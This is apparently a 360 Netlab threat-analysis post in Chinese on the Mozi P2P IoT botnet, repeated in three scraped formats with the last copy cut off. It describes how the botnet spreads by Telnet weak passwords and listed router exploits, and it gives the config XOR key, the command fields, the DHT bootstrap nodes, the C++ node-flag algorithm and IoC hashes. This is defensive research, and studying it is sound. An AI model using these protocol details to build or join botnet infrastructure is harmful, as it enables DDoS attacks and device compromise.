<a href="__GHOST_URL__/content/images/2019/12/mozi_rnget.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_rnget.png" class="kg-image"/></a></li>
<li>自定义<strong>run</strong>命令，执行对端下发的命令，并将结果回传。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_rnrun.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_rnrun.png" class="kg-image"/></a></li>
</ul>
</li>
</ul>
<h3 id="dht">DHT</h3>
<p>Ｍozi Botnet使用自己扩展的DHT协议构建p2p网络，这样做有俩个好处，一来使用标准的DHT能够快速组网，二来使用自己的扩展能够将有效payload的流量隐匿于海量的正常DHT流量中，躲避检测。Mozi使用8组公共节点以及Config文件的[nd]字段指定的节点作为bootstrap nodes。引导新节点加入其DHT网络。</p>
<ul>
<li>公共节点，样本内嵌</li>
</ul>
<pre><code>dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881
</code></pre>
<ul>
<li>Config文件中[nd]指定<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_nd.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_nd.png" class="kg-image"/></a></li>
</ul>
<h4 id="id">ID生成</h4>
<p>ID20字节，由样本内嵌的prefix(<em><strong>888888</strong></em>)或config文件[hp]指定的prefix，加随机生成的字串构成。</p>
<p><a href="__GHOST_URL__/content/images/2019/12/mozi_id.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_id.png" class="kg-image"/></a></p>
<h4 id="">结点识别</h4>
<p>为了快速区分流量，Mozi使用<code>1:v4:flag(4 bytes)</code>这样的标识来识别流量是否由其结点发出，<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_node.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_node.png" class="kg-image"/></a><br>
flag字节含义如下，</p>
<pre><code>flag(4 bytes)
----------------------------------------------
offset:
0 -----random
1 ----- hard-code(0x42) or from [ver]
2 -----calc by algorithm
3 -----calc by algorithm
</code></pre>
<p>第１个字节是随机产生的，第２个字节是硬编码的0x42或由config文件中[ver]字段指定。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_ver.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_ver.png" class="kg-image"/></a><br>
第3,４字节由算法得来，</p>
<pre><code>ver algorithm
----------------------------------------------
int first,sec;
string ver="\x31\x3a\x76\x34\x3a\x00\x00"s;
cout << "Please input the two number: (0x00-0xff)" << endl;
cin.unsetf(ios::hex);
cin >> hex >> first >> sec;
ver[5] = char(first);
ver[6] = char(sec);
uint32_t va = 0;
for(int i = 0; i < 7; i++)
{
uint32_t tmp = int(ver[i]);
tmp = tmp << 8;
tmp ^= va;
int rnd = 8;
while (rnd--)
{
if ((tmp & 0xffff) > 0x8000)
{
tmp *= 2;
tmp ^= 0xffff8005;
}
else
tmp *= 2;
}
va = tmp&0xffff;
}
cout << hex << "Final " << va << endl;
</code></pre>
<blockquote>
<p>Please input the two number: (0x00-0xff)<br>
0x44 0x42<br>
Final 1f71<br>
输入0x44 0x42,得到<code>0x1f71</code>,和数据包里结果一致。</p>
</blockquote>
<h4 id="">网络请求</h4>
<p>Mozi节点收到的网络请求可以分成２大类，DHT请求和非DHT请求。依据前文所述的节点识别，DHT请求分为Mozi-DHT请求,非Mozi-DHT请求。Mozi支持ping,find_node,get_peers３种。对于非DHT请求，依据网络数据包长度大于99与否分成２种。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_net-1.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_net-1.png" class="kg-image"/></a></p>
<p>Mozi将不同的请求编号如下所示，不同的请求有不同的处理逻辑<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_query.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_query.png" class="kg-image"/></a></p>
<ul>
<li>编号２： ping ，DHT请求，按标准DHT流程处理直接回复pong。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_ping.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_ping.png" class="kg-image"/></a></li>
<li>编号3：find_node，DHT请求。</li>
<li>编号4：get_peers，DHT请求。<br>
Mozi 将<strong>find_node,get_peers</strong>合二为一，如果请求来自Mozi节点，有一定的概率把自身的Config内容发送给对方;如果来请求来自非Mozi节点，则按标准DHT的流程处理。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_getnode.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_getnode.png" class="kg-image"/></a></li>
</ul>
<pre><code>原始数据内容(节选前128字节):
00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|
00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|
00000020 35 3a 6e 6f 64 65 73 36 32 34 3a 15 15 29 d2 f3 |5:nodes624:..)Òó|
00000030 a3 f7 0c fe df 1a 5d bd 3f 32 46 76 5e 62 b7 b8 |£÷.þß.]½?2Fv^b·¸|
00000040 f0 94 78 a2 c4 37 5b 8e 2c 00 0b 20 12 07 e7 f4 |ð.x¢Ä7[.,.. ..çô|
00000050 bc dc 19 a2 83 2e 67 fb 7a 5e 50 22 07 75 e8 ef |¼Ü.¢..gûz^P".uèï|
00000060 f9 93 4a e9 91 75 36 e4 76 57 4b 7c 51 7c ff f5 |ù.Jé.u6ävWK|Q|ÿõ|
00000070 f5 c4 57 f9 dc 62 35 b4 6a 5d 18 6b 54 3c ed e1 |õÄWùÜb5´j].kT<íá|
00000080 a1 c8 56 a3 cf 28 6b fa 14 06 1a 3e 3b 01 a0 e3 |¡ÈV£Ï(kú...>;. ã|
加密的Config位于"5:nodes624:"之后，使用xor key(4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E) 解密后:
原始数据部分：
00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|
00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|
00000020 35 3a 6e 6f 64 65 73 36 32 34 3a |5:nodes624:
Config部分:
00000000 5b 73 73 5d 73 6b 5b 2f 73 73 5d 5b 68 70 5d 38 |[ss]sk[/ss][hp]8|
00000010 38 38 38 38 38 38 38 5b 2f 68 70 5d 5b 63 6f 75 |8888888[/hp][cou|
00000020 6e 74 5d 68 74 74 70 3a 2f 2f 69 61 2e 35 31 2e |nt]http://ia.51.|
00000030 6c 61 2f 67 6f 31 3f 69 64 3d 32 30 31 39 38 35 |la/go1?id=201985|
00000040 32 37 26 70 75 3d 68 74 74 70 25 33 61 25 32 66 |27&pu=http%3a%2f|
</code></pre>
<ul>
<li>编号5：announce_peer，不支持<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_ann.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_ann.png" class="kg-image"/></a></li>
<li>编号6：非DHT请求，数据包长<99字节，当节点收到此请求，会将自身的config内容发送给请求方。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_6proc.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_6proc.png" class="kg-image"/></a></li>
<li>编号7：非DHT请求，数据包长>99字节，当节点收到此请求，说明收到的数据为加密的Config文件，执行流程参照前文。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_payload.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_payload.png" class="kg-image"/></a></li>
</ul>
<h2 id="">处置建议</h2>
<p>我们建议用户及时更新补丁，并根据Mozi Botnet创建的进程，文件名以及HTTP,DHT网络连接特征，判断是否被感染，然后清理它的相关进程和文件。</p>
<p>相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab">twitter</a> 或者在微信公众号 360Netlab 上联系我们。</p>
<h2 id="ioclist">IoC list</h2>
<p>样本MD5:</p>
<pre><code>eda730498b3d0a97066807a2d98909f3
849b165f28ae8b1cebe0c7430f44aff3
</code></pre>
<!--kg-card-end: markdown--> | 概览
2019年09月03日我们捕获到一个可疑的的样本文件，大部分杀毒引擎将其识别为Gafgyt，但该样本和已知Gafgyt相似程度不高，只是复用了部分Gafgyt的代码。经过详细分析，我们确定这是Hajime之后，另一个基于DHT协议实现的P2P Botnet。根据其样本传播样本文件名称为Mozi.m、Mozi.a等特征我们将它命名为Mozi Botnet。
Mozi Botnet依赖DHT协议建立一个P2P网络，通过ECDSA384以及xor算法保证自身组件和P2P网络的完整性和安全性。样本通过Telnet弱口令和一些已知的漏洞利用蠕虫式传播。功能方面，Ｍozi僵尸网络中的各个节点的指令执行由Botnet Master下发的名为Config的Payload驱动，主要指令包括：
* DDoS攻击
* 收集Bot信息
* 执行指定URL的payload
* 从指定的URL更新样本
* 执行系统或自定义命令
其整体网络结构如下图所示：
样本传播
Ｍozi通过telnet弱口令和漏洞利用两种方式感染新设备。感染过程如下：
* 当前Bot节点随机监听本地端口启动http服务提供样本下载或者接收Botnet Master下发的Config文件中的样本下载地址。用于为将来被感染的目标提供样本下载地址。
* 当前Bot节点利用弱口令登录目标设备，echo方式写入下载器文件并运行，从当前Bot节点提供的样本下载地址下载样本文件。或者通过漏洞利用入侵目标，然后从当前Bot节点提供的样本下载地址取得样本文件。
* 在被感染目标设备上运行Mozi Bot样本，加入Mozi P2P网络成为新的Mozi Bot节点并继续感染其他新的设备。
Mozi Botnet所利用的漏洞如下表所示：
Vulnerability
Affected Aevice
Eir D1000 Wireless Router RCI
Eir D1000 Router
Vacron NVR RCE
Vacron NVR devices
CVE-2014-8361
Devices using the Realtek SDK
Netgear cig-bin Command Injection
Netgear R7000 and R6400
Netgear setup.cgi unauthenticated RCE
DGN1000 Netgear routers
JAWS Webserver unauthenticated shell command execution
MVPower DVR
CVE-2017-17215
Huawei Router HG532
HNAP SoapAction-Header Command Execution
D-Link Devices
CVE-2018-10561, CVE-2018-10562
GPON Routers
UPnP SOAP TelnetD Command Execution
D-Link Devices
CCTV/DVR Remote Code Execution
CCTV DVR
当前我们暂时还不清楚该Botnet的规模，但从我们已经有的数据看，该Botnet的感染量一直在持续增长。下图为我们蜜罐收集到的Mozi bot感染日志。
样本逆向分析
目前，Mozi Botnet已有３个版本，在telnet传播方面略有不同，其它方面非常接近，
下文将以最新版本v2为主，同时也会穿插早期版本(样本md5: 849b165f28ae8b1cebe0c7430f44aff3)，从传播方式，Config结构，DHT网络等方面剖析Mozi的技术细节。
样本信息
MD5:eda730498b3d0a97066807a2d98909f3
ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Packer: NO
Library:uclibc
Version: v2
值得一提的是，第一个版本中Mozi 采用了upx加壳。相较与常见的更改upx幻数对抗脱壳，Ｍozi使用了一种新颖的手法，将p_filesize&p_blocksize的值抹成了０。需要对upx源码做相应的patch才能脱壳。
常见功能
Ｍozi在主机行为层面并没太多特色，复用了Gafgyt的代码，实现了许多常见功能，如单一实例，修改进程名，网络流量放行。
* 单一实例，通过绑定本地端口实现
* 修改进程名，换成sshd或dropbear以迷惑受害者
* 流量阻断&放行，确保所用到的TCP,UDP端口，流量正常通过；
阻断SSH，TELNET服务，防止Bot被其他人入侵。
执行特定任务
Mozi通过DHT协议建立p2p网络后，同步config文件，根据config文件里的指令，开始相应的任务。在P2P网络中，节点是不可信的，任何人都能够以极低成本的伪造一个Mozi节点。为保证Mozi网络的完全可控，不被他人窃取，Mozi需要对每一个同步到的config做签名验签，只有能够通过了签名验签才能被Mozi节点接受，并执行。
文件&指令验签
Ｍozi使用ECDSA384算法验证文件及指令的合法性，每个样本都集成了俩个xor加密的的公钥，分别用于验签加密和解密后的config文件。
xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
------------------------------------------------------------------
xored publickey A
4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F
69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B
38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
after decryption:
02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef
-------------------------------------------------------------------
xored publickey B
4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8
E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53
22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88
after decryption:
02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6
Config文件
每个样本集成了一个xor加密的初始的config文件，长度为528字节,其结构为data(428 bytes),sign(96 bytes),flag(4 bytes)，sign字段为数字签名，flag字段控制config文件更新与否。config文件里有许多控制字段，Mozi节点收到config后，解析字段内容，执行相应的子任务。
原始config文件如下
解密过程如下图所示，其中xor key为
4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
解密后的config如下
支持的关键字如下，可以分成辅助，控制，子任务３大类。
1：辅助字段，用于信息说明
[cpu] cpu arch or os
[cpux] cpu arch or os
[ss] bot role
[ssx] bot role
[nd] new node info which help to join DHT
2:控制字段，用于更新节点的数据
[ver] verify
[sv] update Config
[hp] DHT id prefix
[dip] URL or ip:port list which can get Mozi sample
3:子任务字段，用于开启相应的子任务
[atk] DDOS attack
[ud] update
[dr] exec payload from specific URL
[rn] exec system or customized cmds
[idp] report bot info
Bot功能
* DDOS，[atk]字段触发，复用Gafgyt了攻击代码，支持HTTP,TCP,UDP等攻击。
Command
-----------------------------------------
S
T
U
KT
HTTP
* 上报Bot信息，[idp]字段触发，上报的内容为Bot的ID，IP，PORT，文件名（全路径），网关，cpu架构。
* 执行指定URL的payload,[dr]字段触发。
* 从指定的URL更新，[ud]字段触发。关闭当前节点的网络连接和相关进程，从指定URL下载新版本，保存DHT节点,ID等数据，将它们做为参数提供给新版体使用。
* 执行系统或Bot自定义命令，[rn]字段触发。
* 系统命令
* 自定义GET命令，将Bot ID发送给对端。
* 自定义run命令，执行对端下发的命令，并将结果回传。
DHT
Ｍozi Botnet使用自己扩展的DHT协议构建p2p网络，这样做有俩个好处，一来使用标准的DHT能够快速组网，二来使用自己的扩展能够将有效payload的流量隐匿于海量的正常DHT流量中，躲避检测。Mozi使用8组公共节点以及Config文件的[nd]字段指定的节点作为bootstrap nodes。引导新节点加入其DHT网络。
* 公共节点，样本内嵌
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881
* Config文件中[nd]指定
ID生成
ID20字节，由样本内嵌的prefix(888888)或config文件[hp]指定的prefix，加随机生成的字串构成。
结点识别
为了快速区分流量，Mozi使用1:v4:flag(4 bytes)这样的标识来识别流量是否由其结点发出，
flag字节含义如下，
flag(4 bytes)
----------------------------------------------
offset:
0 -----random
1 ----- hard-code(0x42) or from [ver]
2 -----calc by algorithm
3 -----calc by algorithm
第１个字节是随机产生的，第２个字节是硬编码的0x42或由config文件中[ver]字段指定。
第3,４字节由算法得来，
ver algorithm
----------------------------------------------
int first,sec;
string ver="\x31\x3a\x76\x34\x3a\x00\x00"s;
cout << "Please input the two number: (0x00-0xff)" << endl;
cin.unsetf(ios::hex);
cin >> hex >> first >> sec;
ver[5] = char(first);
ver[6] = char(sec);
uint32_t va = 0;
for(int i = 0; i < 7; i++)
{
uint32_t tmp = int(ver[i]);
tmp = tmp << 8;
tmp ^= va;
int rnd = 8;
while (rnd--)
{
if ((tmp & 0xffff) > 0x8000)
{
tmp *= 2;
tmp ^= 0xffff8005;
}
else
tmp *= 2;
}
va = tmp&0xffff;
}
cout << hex << "Final " << va << endl;
Please input the two number: (0x00-0xff)
0x44 0x42
Final 1f71
输入0x44 0x42,得到0x1f71,和数据包里结果一致。
网络请求
Mozi节点收到的网络请求可以分成２大类，DHT请求和非DHT请求。依据前文所述的节点识别，DHT请求分为Mozi-DHT请求,非Mozi-DHT请求。Mozi支持ping,find_node,get_peers３种。对于非DHT请求，依据网络数据包长度大于99与否分成２种。
Mozi将不同的请求编号如下所示，不同的请求有不同的处理逻辑
* 编号２： ping ，DHT请求，按标准DHT流程处理直接回复pong。
* 编号3：find_node，DHT请求。
* 编号4：get_peers，DHT请求。
Mozi 将find_node,get_peers合二为一，如果请求来自Mozi节点，有一定的概率把自身的Config内容发送给对方;如果来请求来自非Mozi节点，则按标准DHT的流程处理。
原始数据内容(节选前128字节):
00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|
00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|
00000020 35 3a 6e 6f 64 65 73 36 32 34 3a 15 15 29 d2 f3 |5:nodes624:..)Òó|
00000030 a3 f7 0c fe df 1a 5d bd 3f 32 46 76 5e 62 b7 b8 |£÷.þß.]½?2Fv^b·¸|
00000040 f0 94 78 a2 c4 37 5b 8e 2c 00 0b 20 12 07 e7 f4 |ð.x¢Ä7[.,.. ..çô|
00000050 bc dc 19 a2 83 2e 67 fb 7a 5e 50 22 07 75 e8 ef |¼Ü.¢..gûz^P".uèï|
00000060 f9 93 4a e9 91 75 36 e4 76 57 4b 7c 51 7c ff f5 |ù.Jé.u6ävWK|Q|ÿõ|
00000070 f5 c4 57 f9 dc 62 35 b4 6a 5d 18 6b 54 3c ed e1 |õÄWùÜb5´j].kT<íá|
00000080 a1 c8 56 a3 cf 28 6b fa 14 06 1a 3e 3b 01 a0 e3 |¡ÈV£Ï(kú...>;. ã|
加密的Config位于"5:nodes624:"之后，使用xor key(4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E) 解密后:
原始数据部分：
00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|
00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|
00000020 35 3a 6e 6f 64 65 73 36 32 34 3a |5:nodes624:
Config部分:
00000000 5b 73 73 5d 73 6b 5b 2f 73 73 5d 5b 68 70 5d 38 |[ss]sk[/ss][hp]8|
00000010 38 38 38 38 38 38 38 5b 2f 68 70 5d 5b 63 6f 75 |8888888[/hp][cou|
00000020 6e 74 5d 68 74 74 70 3a 2f 2f 69 61 2e 35 31 2e |nt]http://ia.51.|
00000030 6c 61 2f 67 6f 31 3f 69 64 3d 32 30 31 39 38 35 |la/go1?id=201985|
00000040 32 37 26 70 75 3d 68 74 74 70 25 33 61 25 32 66 |27&pu=http%3a%2f|
* 编号5：announce_peer，不支持
* 编号6：非DHT请求，数据包长<99字节，当节点收到此请求，会将自身的config内容发送给请求方。
* 编号7：非DHT请求，数据包长>99字节，当节点收到此请求，说明收到的数据为加密的Config文件，执行流程参照前文。
处置建议
我们建议用户及时更新补丁，并根据Mozi Botnet创建的进程，文件名以及HTTP,DHT网络连接特征，判断是否被感染，然后清理它的相关进程和文件。
相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
IoC list
样本MD5:
eda730498b3d0a97066807a2d98909f3
849b165f28ae8b1cebe0c7430f44aff3
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 概览\n2019年09月03日我们捕获到一个可疑的的样本文件，大部分杀毒引擎将其识别为Gafgyt，但该样本和已知Gafgyt相似程度不高，只是复用了部分Gafgyt的代码。经过详细分析，我们确定这是Hajime之后，另一个基于DHT协议实现的P2P Botnet。根据其样本传播样本文件名称为`Mozi.m`、`Mozi.a`等特征我们将它命名为`Mozi` Botnet。\n\nMozi Botnet依赖DHT协议建立一个P2P网络，通过ECDSA384以及xor算法保证自身组件和P2P网络的完整性和安全性。样本通过Telnet弱口令和一些已知的漏洞利用蠕虫式传播。功能方面，Ｍozi僵尸网络中的各个节点的指令执行由Botnet Master下发的名为Config的Payload驱动，主要指令包括：\n- DDoS攻击\n- 收集Bot信息\n- 执行指定URL的payload\n- 从指定的URL更新样本\n- 执行系统或自定义命令\n\n其整体网络结构如下图所示：\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_flow-3.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_flow.m.png\" class=\"kg-image\"/></a>\n\n## 样本传播\n\nＭozi通过telnet弱口令和漏洞利用两种方式感染新设备。感染过程如下：\n- 当前Bot节点随机监听本地端口启动http服务提供样本下载或者接收Botnet Master下发的Config文件中的样本下载地址。用于为将来被感染的目标提供样本下载地址。\n- 当前Bot节点利用弱口令登录目标设备，echo方式写入下载器文件并运行，从当前Bot节点提供的样本下载地址下载样本文件。或者通过漏洞利用入侵目标，然后从当前Bot节点提供的样本下载地址取得样本文件。\n- 在被感染目标设备上运行Mozi Bot样本，加入Mozi P2P网络成为新的Mozi Bot节点并继续感染其他新的设备。\n\nMozi Botnet所利用的漏洞如下表所示：\n| Vulnerability | Affected Aevice |\n| ------------- | ---------------- |\n| [Eir D1000 Wireless Router RCI](https://www.exploit-db.com/exploits/40740) | Eir D1000 Router |\n| [Vacron NVR RCE](https://www.exploit-db.com/exploits/6864/) | Vacron NVR devices |\n| [CVE-2014-8361](https://www.exploit-db.com/exploits/37169/) | Devices using the Realtek SDK|\n| [Netgear cig-bin Command Injection](https://www.exploit-db.com/exploits/41598/)| Netgear R7000 and R6400 |\n| [Netgear setup.cgi unauthenticated RCE](https://www.exploit-db.com/exploits/43055) | DGN1000 Netgear routers |\n| [JAWS Webserver unauthenticated shell command execution](https://www.exploit-db.com/exploits/41471/) | MVPower DVR | \n| [CVE-2017-17215](https://www.exploit-db.com/exploits/43414/) | Huawei Router HG532 |\n| [HNAP SoapAction-Header Command Execution](https://www.exploit-db.com/exploits/37171/) | D-Link Devices |\n| [CVE-2018-10561, CVE-2018-10562](https://www.exploit-db.com/exploits/44576/) | GPON Routers |\n| [UPnP SOAP TelnetD Command Execution](https://www.exploit-db.com/exploits/28333/) | D-Link Devices |\n| [CCTV/DVR Remote Code Execution](https://www.exploit-db.com/exploits/39596/) | CCTV DVR |\n\n当前我们暂时还不清楚该Botnet的规模，但从我们已经有的数据看，该Botnet的感染量一直在持续增长。下图为我们蜜罐收集到的Mozi bot感染日志。\n\n\n## 样本逆向分析\n目前，Mozi Botnet已有３个版本，在telnet传播方面略有不同，其它方面非常接近，\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_versioin.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_versioin.png\" class=\"kg-image\"/></a>\n下文将以最新版本v2为主，同时也会穿插早期版本(样本md5: `849b165f28ae8b1cebe0c7430f44aff3`)，从传播方式，Config结构，DHT网络等方面剖析Mozi的技术细节。\n\n### 样本信息\n> MD5:eda730498b3d0a97066807a2d98909f3\n>\n> ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n>\n> Packer: NO\n>\n> Library:uclibc\n>\n> Version: v2\n\n值得一提的是，第一个版本中Mozi 采用了upx加壳。相较与常见的更改upx幻数对抗脱壳，Ｍozi使用了一种新颖的手法，将p_filesize&p_blocksize的值抹成了０。需要对upx源码做相应的patch才能脱壳。\n\n### 常见功能\n\nＭozi在主机行为层面并没太多特色，复用了Gafgyt的代码，实现了许多常见功能，如单一实例，修改进程名，网络流量放行。\n\n- 单一实例，通过绑定本地端口实现\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_bind.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_bind.png\" class=\"kg-image\"/></a>\n- 修改进程名，换成sshd或dropbear以迷惑受害者\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_setname.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_setname.png\" class=\"kg-image\"/></a>\n- 流量阻断&放行，确保所用到的TCP,UDP端口，流量正常通过；\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_iptables.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_iptables.png\" class=\"kg-image\"/></a>\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_ssh.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_ssh.png\" class=\"kg-image\"/></a>\n阻断SSH，TELNET服务，防止Bot被其他人入侵。\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_forb.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_forb.png\" class=\"kg-image\"/></a>\n\n\n### 执行特定任务\n\nMozi通过DHT协议建立p2p网络后，同步config文件，根据config文件里的指令，开始相应的任务。在P2P网络中，节点是不可信的，任何人都能够以极低成本的伪造一个Mozi节点。为保证Mozi网络的完全可控，不被他人窃取，Mozi需要对每一个同步到的config做签名验签，只有能够通过了签名验签才能被Mozi节点接受，并执行。\n\n\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_configproc.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_configproc.png\" class=\"kg-image\"/></a>\n#### 文件&指令验签\n\nＭozi使用ECDSA384算法验证文件及指令的合法性，每个样本都集成了俩个xor加密的的公钥，分别用于验签加密和解密后的config文件。\n```\n xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E\n------------------------------------------------------------------\nxored publickey A \n\t4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F \n\t69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B \n\t38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1\t\nafter decryption: \n\t02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21 \n\t27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65 \n\t76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef\n-------------------------------------------------------------------\nxored publickey B\n\t4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8 \n\tE9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53 \n\t22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88\nafter decryption:\n\t02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6 \n\ta7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d \n\t6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6\n```\n#### Config文件\n每个样本集成了一个xor加密的初始的config文件，长度为528字节,其结构为**data(428 bytes),sign(96 bytes),flag(4 bytes)**，sign字段为数字签名，flag字段控制config文件更新与否。config文件里有许多控制字段，Mozi节点收到config后，解析字段内容，执行相应的子任务。\n原始config文件如下\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_enconfig.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_enconfig.png\" class=\"kg-image\"/></a>\n解密过程如下图所示，其中xor key为\n```\n4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E\n```\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_xorproc.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_xorproc.png\" class=\"kg-image\"/></a>\n解密后的config如下\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_denconfig.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_denconfig.png\" class=\"kg-image\"/></a>\n支持的关键字如下，可以分成辅助，控制，子任务３大类。\n```\n1：辅助字段，用于信息说明\n[cpu] cpu arch or os\n[cpux] cpu arch or os\n[ss]\tbot role\n[ssx]\tbot role\n[nd] \tnew node info which help to join DHT\n2:控制字段，用于更新节点的数据\n[ver] \tverify \n[sv]\tupdate Config\n[hp] \tDHT id prefix\n[dip] URL or ip:port list which can get Mozi sample\n3:子任务字段，用于开启相应的子任务\n[atk]\tDDOS attack\n[ud] \tupdate\n[dr] \texec payload from specific URL \n[rn] \texec system or customized cmds\n[idp] \treport bot info\n```\n#### Bot功能\n- DDOS，``[atk]``字段触发，复用**Gafgyt**了攻击代码，支持HTTP,TCP,UDP等攻击。\n ```\n Command\n -----------------------------------------\n S \n T\n U\n KT\n HTTP\n ```\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_atk.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_atk.png\" class=\"kg-image\"/></a>\n- 上报Bot信息，``[idp]``字段触发，上报的内容为Bot的ID，IP，PORT，文件名（全路径），网关，cpu架构。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_idp.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_idp.png\" class=\"kg-image\"/></a>\n- 执行指定URL的payload,``[dr]``字段触发。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_dr.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_dr.png\" class=\"kg-image\"/></a>\n- 从指定的URL更新，``[ud]``字段触发。关闭当前节点的网络连接和相关进程，从指定URL下载新版本，保存DHT节点,ID等数据，将它们做为参数提供给新版体使用。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_ud.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_ud.png\" class=\"kg-image\"/></a>\n- 执行系统或Bot自定义命令，``[rn]``字段触发。\n - 系统命令\n <a 